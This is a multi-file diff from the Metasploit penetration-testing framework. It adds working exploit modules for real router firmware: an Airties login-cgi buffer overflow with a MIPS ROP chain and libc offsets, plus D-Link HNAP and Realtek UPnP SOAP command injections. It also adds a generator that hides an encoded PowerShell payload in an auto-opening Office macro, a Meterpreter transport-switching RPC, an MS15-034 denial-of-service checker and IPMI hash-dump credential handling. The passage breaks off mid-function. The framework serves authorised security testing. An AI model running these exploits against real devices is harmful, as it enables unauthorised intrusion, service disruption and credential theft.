# @return [void]
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
@ -308,9 +308,10 @@ module Exploit::CmdStager
def execute_cmdstager_end(opts)
end
# Code to execute each command from the. This method is designed to be
# overriden by a module using this mixin.
# Code called to execute each command via an arbitrary module-defined vector.
# This method needs to be overriden by modules using this mixin.
#
# @param cmd [String] The command to execute.
# @param opts [Hash] Hash of configuration options.
def execute_command(cmd, opts)
raise NotImplementedError

View File

@ -47,12 +47,13 @@ module Exploit::Remote::HttpClient
Rex::Proto::Http::Client::DefaultUserAgent
]),
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION'])
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20])
], self.class
)
@ -307,10 +308,11 @@ module Exploit::Remote::HttpClient
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
#
def send_request_raw(opts={}, timeout = 20)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
begin
c = connect(opts)
r = c.request_raw(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
c.send_recv(r, actual_timeout)
rescue ::Errno::EPIPE, ::Timeout::Error
nil
end
@ -323,10 +325,11 @@ module Exploit::Remote::HttpClient
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
#
def send_request_cgi(opts={}, timeout = 20)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
begin
c = connect(opts)
r = c.request_cgi(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
c.send_recv(r, actual_timeout)
rescue ::Errno::EPIPE, ::Timeout::Error
nil
end
@ -341,7 +344,8 @@ module Exploit::Remote::HttpClient
# will contain the full URI.
#
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
res = send_request_cgi(opts, timeout)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
res = send_request_cgi(opts, actual_timeout)
return res unless res && res.redirect? && redirect_depth > 0
redirect_depth -= 1
@ -360,7 +364,7 @@ module Exploit::Remote::HttpClient
opts['ssl'] = false
end
send_request_cgi!(opts, timeout, redirect_depth)
send_request_cgi!(opts, actual_timeout, redirect_depth)
end
#

View File

@ -52,18 +52,30 @@ module Exploit::ORACLE
end
def connect
handle = nil
if(not @oci8_loaded)
raise RuntimeError, "Could not load the Oracle driver (oci8): #{@oci8_error}"
end
# Create a Connection to the Database
if datastore['DBUSER'] == 'SYS' || datastore['DBUSER'] == 'SYSTEM'
handle = OCI8.new(
datastore['DBUSER'],
datastore['DBPASS'],
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
:SYSDBA
)
begin
handle = OCI8.new(
datastore['DBUSER'],
datastore['DBPASS'],
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
:SYSDBA
)
rescue ::OCIError
# Try again without a request for SYSDBA
vprint_status('Insufficient privileges, trying without SYSDBA')
handle = OCI8.new(
datastore['DBUSER'],
datastore['DBPASS'],
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}"
)
end
else
handle = OCI8.new(
datastore['DBUSER'],
@ -71,7 +83,7 @@ module Exploit::ORACLE
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}"
)
end
handle
end
def disconnect

View File

@ -395,6 +395,38 @@ class RPC_Session < RPC_Base
rpc_meterpreter_run_single( sid, "run #{data}")
end
# Changes the Transport of a given Meterpreter Session
#
# @param sid [Fixnum] The Session ID of the `Msf::Session`
# @option opts [String] :transport The transport protocol to use (e.g. reverse_tcp, reverse_http, bind_tcp etc)
# @option opts [String] :lhost The LHOST of the listener to use
# @option opts [String] :lport The LPORT of the listener to use
# @option opts [String] :ua The User Agent String to use for reverse_http(s)
# @option opts [String] :proxy_host The address of the proxy to route transport through
# @option opts [String] :proxy_port The port the proxy is listening on
# @option opts [String] :proxy_type The type of proxy to use
# @option opts [String] :proxy_user The username to authenticate to the proxy with
# @option opts [String] :proxy_pass The password to authenticate to the proxy with
# @option opts [String] :comm_timeout Connection timeout in seconds
# @option opts [String] :session_exp Session Expiration Timeout
# @option opts [String] :retry_total Total number of times to retry etsablishing the transport
# @option opts [String] :retry_wait The number of seconds to wait between retries
# @option opts [String] :cert Path to the SSL Cert to use for HTTPS
# @return [Boolean] whether the transport was changed successfully
def rpc_meterpreter_transport_change(sid,opts={})
session = _valid_session(sid,"meterpreter")
real_opts = {}
opts.each_pair do |key, value|
real_opts[key.to_sym] = value
end
real_opts[:uuid] = session.payload_uuid
result = session.core.transport_change(real_opts)
if result == true
rpc_stop(sid)
end
result
end
# Returns the separator used by the meterpreter.
#

View File

@ -1003,6 +1003,33 @@ require 'msf/core/exe/segment_appender'
read_replace_script_template("to_mem.vba.template", hash_sub)
end
def self.to_powershell_vba(framework, arch, code)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
remove_comspec: true,
method: 'reflection')
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:sub_auto_open)
rig.init_var(:var_powershell)
hash_sub = rig.to_h
# VBA has a maximum of 24 line continuations
line_length = powershell.length / 24
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
hash_sub[:powershell] = vba_psh
read_replace_script_template("to_powershell.vba.template", hash_sub)
end
def self.to_exe_vbs(exes = '', opts = {})
delay = opts[:delay] || 5
persist = opts[:persist] || false
@ -1933,6 +1960,8 @@ require 'msf/core/exe/segment_appender'
when 'vba-exe'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_vba(exe)
when 'vba-psh'
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
when 'vbs'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
@ -1982,6 +2011,7 @@ require 'msf/core/exe/segment_appender'
"psh-cmd",
"vba",
"vba-exe",
"vba-psh",
"vbs",
"war"
]

View File

@ -27,9 +27,12 @@ class CmdStagerEcho < CmdStagerBase
#
def generate(opts = {})
opts[:temp] = opts[:temp] || '/tmp/'
opts[:temp].gsub!(/\\/, "/")
opts[:temp] = opts[:temp].shellescape
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
unless opts[:temp].empty?
opts[:temp].gsub!(/\\/, '/')
opts[:temp] = opts[:temp].shellescape
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
end
# by default use the 'hex' encoding
opts[:enc_format] = opts[:enc_format] || 'hex'

View File

@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{
This module exploits an authentication bypass vulnerability in different Netgear devices.
It allows to extract the password for the remote management interface. This module has been
tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable:
tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable:
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),
@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary
'References' =>
[
[ 'BID', '72640' ],
[ 'OSVDB', '118316' ],
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ]
],
'Author' =>

View File

@ -19,10 +19,6 @@ class Metasploit3 < Msf::Auxiliary
This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a
vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code
execution. This module will try to cause a denial-of-service.
Please note that a valid file resource must be supplied for the TARGETURI option.
By default, IIS provides 'welcome.png' and 'iis-85.png' as resources.
Others may also exist, depending on configuration options.
},
'Author' =>
[
@ -46,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/'])
], self.class)
deregister_options('RHOST')
@ -60,34 +56,38 @@ class Metasploit3 < Msf::Auxiliary
if check_host(ip) == Exploit::CheckCode::Vulnerable
dos_host(ip)
else
print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.")
print_status("#{peer} - Probably not vulnerable, will not dos it.")
end
end
# Needed to allow the vulnerable uri to be shared between the #check and #dos
def target_uri
@target_uri ||= super
end
def get_file_size(ip)
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw({'uri'=>uri})
res = send_request_raw('uri' => uri)
unless res
vprint_error("#{ip}:#{rport} - Connection timed out")
vprint_error("#{peer} - Connection timed out")
return file_size
end
if res.code == 404
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
return file_size
end
file_size = res.body.length
vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes")
vprint_status("#{peer} - File length: #{file_size} bytes")
return file_size
}.call
end
def dos_host(ip)
file_size = get_file_size(ip)
lower_range = file_size - 2
@ -97,39 +97,79 @@ class Metasploit3 < Msf::Auxiliary
begin
cli = Rex::Proto::Http::Client.new(ip)
cli.connect
req = cli.request_raw({
req = cli.request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=#{lower_range}-#{upper_range}"
}
})
)
cli.send_request(req)
rescue ::Errno::EPIPE, ::Timeout::Error
# Same exceptions the HttpClient mixin catches
end
print_status("#{ip}:#{rport} - DOS request sent")
print_status("#{peer} - DOS request sent")
end
def potential_static_files_uris
uri = normalize_uri(target_uri.path)
return [uri] unless uri[-1, 1] == '/'
uris = ["#{uri}welcome.png"]
res = send_request_raw('uri' => uri, 'method' => 'GET')
return uris unless res
site_uri = URI.parse(full_uri)
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
page.xpath('//link|//script|//style|//img').each do |tag|
%w(href src).each do |attribute|
attr_value = tag[attribute]
next unless attr_value && !attr_value.empty?
uri = site_uri.merge(URI.encode(attr_value.strip))
next unless uri.host == vhost || uri.host == rhost
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
end
end
uris.uniq
end
def check_host(ip)
return Exploit::CheckCode::Unknown if get_file_size(ip) == -1
potential_static_files_uris.each do |potential_uri|
uri = normalize_uri(potential_uri)
uri = normalize_uri(target_uri.path)
res = send_request_raw({
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
})
if res && res.body.include?('Requested Range Not Satisfiable')
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
res = send_request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
)
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
if res && res.body.include?('Requested Range Not Satisfiable')
vprint_status("#{vmessage} - Vulnerable")
target_uri.path = uri # Needed for the DoS attack
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
vprint_status("#{vmessage} - Safe")
return Exploit::CheckCode::Safe
else
vprint_status("#{vmessage} - Unknown")
end
end
end
Exploit::CheckCode::Unknown
end
end

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Module::Deprecated
deprecated(Date.new(2015, 6, 28), 'auxiliary/scanner/http/coldfusion_version')
def initialize
super(

View File

@ -0,0 +1,127 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'ColdFusion Version Scanner',
'Description' => %q{
This module attempts identify various flavors of ColdFusion up to version 10
as well as the underlying OS.
},
'Author' =>
[
'nebulus', # Original
'sinn3r' # Fingerprint() patch for Cold Fusion 10
],
'License' => MSF_LICENSE
)
end
def fingerprint(response)
if(response.headers.has_key?('Server') )
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
os = "Windows (#{response.headers['Server']})"
elsif(response.headers['Server'] =~ /Apache\//)
os = "Unix (#{response.headers['Server']})"
else
os = response.headers['Server']
end
end
return nil if response.body.length < 100
title = "Not Found"
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/im)
title = $1
title.gsub!(/\s/, '')
end
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
out = nil
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
v = $1
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 #{v}" : "Adobe ColdFusion MX7 #{v}"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995\-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
out = "Adobe ColdFusion MX7"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2006 Adobe/)
out = "Adobe ColdFusion 8"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
out = "Adobe ColdFusion 10"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ or
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/ or
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1997\-2012 Adobe Systems\, Inc\. All rights reserved/)
out = "Adobe ColdFusion 9"
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
out = $1.split(/,/)[0]
else
out = 'Unknown ColdFusion'
end
if(title.downcase == 'coldfusionadministrator')
out << " (administrator access)"
end
out << " (#{os})"
return out
end
def run_host(ip)
url = '/CFIDE/administrator/index.cfm'
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
})
return if not res or not res.body or not res.code
res.body.gsub!(/[\r|\n]/, ' ')
if (res.code.to_i == 200)
out = fingerprint(res)
return if not out
if(out =~ /^Unknown/)
print_status("#{ip} " << out)
return
else
print_good("#{ip}: " << out)
report_note(
:host => ip,
:port => datastore['RPORT'],
:proto => 'tcp',
:ntype => 'cfversion',
:data => out
)
end
elsif(res.code.to_i == 403 and datastore['VERBOSE'])
if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/)
print_status("#{ip} denied access to #{url} (SSL Required)")
elsif(res.body =~ /has a list of IP addresses that are not allowed/)
print_status("#{ip} restricted access by IP")
elsif(res.body =~ /SSL client certificate is required/)
print_status("#{ip} requires a SSL client certificate")
else
print_status("#{ip} denied access to #{url} #{res.code} #{res.message}")
end
end
rescue OpenSSL::SSL::SSLError
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
rescue ::Timeout::Error, ::Errno::EPIPE
end
end

View File

@ -14,8 +14,8 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'InfluxDB Enum Utility',
'Description' => %q{
This module enumerates databases on InfluxDB using the REST API
(using default authentication - root:root).
This module enumerates databases on InfluxDB using the REST API using the
default authentication of root:root.
},
'References' =>
[

View File

@ -15,8 +15,8 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'HTTP HTML Title Tag Content Grabber',
'Description' => %q{
Generates a GET request to the webservers provided and returns the server header,
HTML title attribute and location header (if set). Useful for rapidly identifying
Generates a GET request to the provided webservers and returns the server header,
HTML title attribute and location header (if set). This is useful for rapidly identifying
interesting web applications en mass.
},
'Author' => 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',

View File

@ -71,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary
passwords << ""
passwords = passwords.uniq
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
add_socket(self.udp_sock)
@ -180,18 +179,8 @@ class Metasploit3 < Msf::Auxiliary
write_output_files(rhost, username, sha1_salt, sha1_hash)
# Write the rakp hash to the database
report_auth_info(
:host => rhost,
:port => rport,
:proto => 'udp',
:sname => 'ipmi',
:user => username,
:pass => "#{sha1_salt}:#{sha1_hash}",
:source_type => "captured",
:active => true,
:type => 'rakp_hmac_sha1_hash'
)
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
core_id = report_hash(username, hash)
# Write the vulnerability to the database
unless reported_vuln
report_vuln(
@ -216,17 +205,7 @@ class Metasploit3 < Msf::Auxiliary
print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'")
# Report the clear-text credential to the database
report_auth_info(
:host => rhost,
:port => rport,
:proto => 'udp',
:sname => 'ipmi',
:user => username,
:pass => pass,
:source_type => "cracked",
:active => true,
:type => 'password'
)
report_cracked_cred(username, pass, core_id)
break
end
end
@ -265,6 +244,45 @@ class Metasploit3 < Msf::Auxiliary
end
end
def service_data
{
address: rhost,
port: rport,
service_name: 'ipmi',
protocol: 'udp',
workspace_id: myworkspace_id
}
end
def report_hash(user, hash)
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: 'rakp',
username: user,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
cl = create_credential_login(login_data)
cl.core_id
end
def report_cracked_cred(user, password, core_id)
cred_data = {
core_id: core_id,
username: user,
password: password
}
create_cracked_credential(cred_data)
end
#
# Helper methods (these didn't quite fit with existing mixins)
#
@ -292,5 +310,4 @@ class Metasploit3 < Msf::Auxiliary
def rport
datastore['RPORT']
end
end

View File

@ -0,0 +1,151 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Airties login-cgi Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow vulnerability on several Airties routers.
The vulnerability exists in the handling of HTTP queries to the login cgi with long
redirect parameters. The vulnerability doesn't require authentication. This module has
been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
},
'Author' =>
[
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSBE,
'References' =>
[
['EDB', '36577'],
['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC
],
'Targets' =>
[
[ 'AirTies_Air5650v3TT_FW_1.0.2.0',
{
'Offset' => 359,
'LibcBase' => 0x2aad1000,
'RestoreReg' => 0x0003FE20, # restore s-registers
'System' => 0x0003edff, # address of system-1
'CalcSystem' => 0x000111EC, # calculate the correct address of system
'CallSystem' => 0x00041C10, # call our system
'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
}
]
],
'DisclosureDate' => 'Mar 31 2015',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'uri' => '/cgi-bin/login',
'method' => 'GET'
})
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Accessing the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 100
)
end
def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values
# 0003FE20 lw $ra, 0x48+var_4($sp)
# 0003FE24 lw $s7, 0x48+var_8($sp)
# 0003FE28 lw $s6, 0x48+var_C($sp)
# 0003FE2C lw $s5, 0x48+var_10($sp)
# 0003FE30 lw $s4, 0x48+var_14($sp)
# 0003FE34 lw $s3, 0x48+var_18($sp)
# 0003FE38 lw $s2, 0x48+var_1C($sp)
# 0003FE3C lw $s1, 0x48+var_20($sp)
# 0003FE40 lw $s0, 0x48+var_24($sp)
# 0003FE44 jr $ra
# 0003FE48 addiu $sp, 0x48
shellcode << rand_text_alpha_upper(36) # padding
shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1
shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4
shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system
# 00041C10 move $t9, $s0
# 00041C14 jalr $t9
# 00041C18 nop
shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system
# 000215B8 addiu $a0, $sp, 0x20
# 000215BC lw $ra, 0x1C($sp)
# 000215C0 jr $ra
# 000215C4 addiu $sp, 0x20
shellcode << rand_text_alpha_upper(28) # padding
shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address)
# 000111EC move $t9, $s5
# 000111F0 jalr $t9
# 000111F4 addiu $s0, 1
shellcode << cmd
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/cgi-bin/login',
'encode_params' => false,
'vars_post' => {
'redirect' => shellcode,
'user' => rand_text_alpha(5),
'password' => rand_text_alpha(8)
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS
'Arch' => ARCH_MIPSBE
}
],
],

View File

@ -0,0 +1,117 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices UPnP SOAPAction-Header Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command. This module has been tested on a DIR-645 device.
The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
},
'Author' =>
[
'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645
'Craig Heffner', # independent Vulnerability discovery on different other routers
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'],
['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/']
],
'DisclosureDate' => 'Feb 13 2015',
'Privileged' => true,
'Platform' => 'linux',
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
{
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0
))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
uri = '/HNAP1/'
soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'headers' => {
'SOAPAction' => soap_action,
}
})
if res && [200].include?(res.code) && res.body =~ /D-Link/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the device ...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 200,
:temp => ''
)
end
def execute_command(cmd, opts)
uri = '/HNAP1/'
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'headers' => {
'SOAPAction' => soap_action,
}
}, 3)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

View File

@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS
'Arch' => ARCH_MIPSBE
}
],
],

View File

@ -0,0 +1,167 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include REXML
def initialize(info = {})
super(update_info(info,
'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution',
'Description' => %q{
Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
there is no output for the executed command. This module has been tested successfully on a
Trendnet TEW-731BR router with emulation.
},
'Author' =>
[
'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8361'],
['ZDI', '15-155'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055']
],
'DisclosureDate' => 'Apr 24 2015',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 0
))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
register_options(
[
Opt::RPORT(52869) # port of UPnP SOAP webinterface
], self.class)
end
def check
begin
res = send_request_cgi({
'uri' => '/picsdesc.xml'
})
if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the device ...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end
print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 50,
:nodelete => true
)
end
def execute_command(cmd, opts)
uri = '/wanipcn.xml'
soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'
data_cmd = '<?xml version="1.0"?>' + build_soap_req
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'service' => 'WANIPConn1'
},
'ctype' => 'text/xml',
'method' => 'POST',
'headers' => {
'SOAPAction' => soap_action
},
'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`")
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def build_soap_req
new_external_port = rand(32767) + 32768
new_internal_port = rand(32767) + 32768
xml = Document.new
xml.add_element(
